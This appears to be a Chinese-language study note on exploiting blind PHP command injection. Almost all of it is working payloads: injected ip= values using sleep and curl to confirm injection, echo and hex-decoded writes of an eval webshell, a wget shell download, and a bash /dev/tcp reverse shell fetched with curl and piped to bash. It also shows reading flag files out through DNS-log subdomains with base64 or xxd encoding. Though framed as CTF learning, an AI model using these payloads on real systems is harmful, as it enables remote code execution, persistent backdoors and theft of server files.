本文由学习https://xz.aliyun.com/t/8125中收获得知识而来，附带个人的一些思考。
甲、php无回显时命令注入判断方法
利用延时
ip=|sleep 5
HTTP请求
ip=|Curl 'http://x.x.x.x:233'
Nc -lvv -p 233
dnslog
和http请求判断方法差不多，ip换成dns的分配域名的三级域名。
ceye.io中使用分配的二级域名的三级域名。例如1.2.ceye.io
乙、webshell
1、写webshell
在cmd环境下，若直接使用echo写入shell.php或jsp等后缀名无效时，可以尝试写入txt或其他文件，再使用rename命令重命名。Rename 1.txt 1.php
其他环境中方法类似。
echo "<?php @eval($_POST[123]); ?>" > webshell.txt
//写shell
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.txt
//将输入的十六进制字符串解码后写入文件
Mv webshell.txt webshell.php
2、远程下载shell
wget 网址 -O webshell.php
反弹shell
A:
Nc -lvv -p 2333
创建站点，新建文件test，内容为 bash -i >& /dev/tcp/A的ip/2333 0>&1
B：
Ip=|curl A的ip/test|bash
丙、读文件
1、有权限，调用/bin/cat
2、无权限，使用下载
1）将无法读取的文件，写入到可读取的文件类型中。
cat flag.php > flag.txt或
cat flag.php >> flag.txt
2）cp flag.php flag.txt
3）mv flag.php flag.txt
4)tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
3、dnslog，无回显
注：此方法仅限小文件读取，因为编码后字符串可能过长，而域名最长为63位，所以大文件无法通过此方法读取。
curl `命令`.域名
ip=|curl 1.2.ceye.io
ip=|curl 'cat<flag.php|base64'.2.ceye.io
//<代替空格，管道符对读取内容做base64编码
使用base编码后由于可能有特殊字符，无法被识别。
改为16进制，空格以$IFS替换。
curl `cat<1.txt|xxd$IFS-ps`.dr2i9v.dnslog.cn
但使用xxd默认每行16个字符，换行后不带二级域名的就无法访问。
xxd可指定每行字符得数量，-c最多256个字符
重新构造
curl `cat<1.txt|xxd$IFS-ps$IFS-c256`.dr2i9v.dnslog.cn
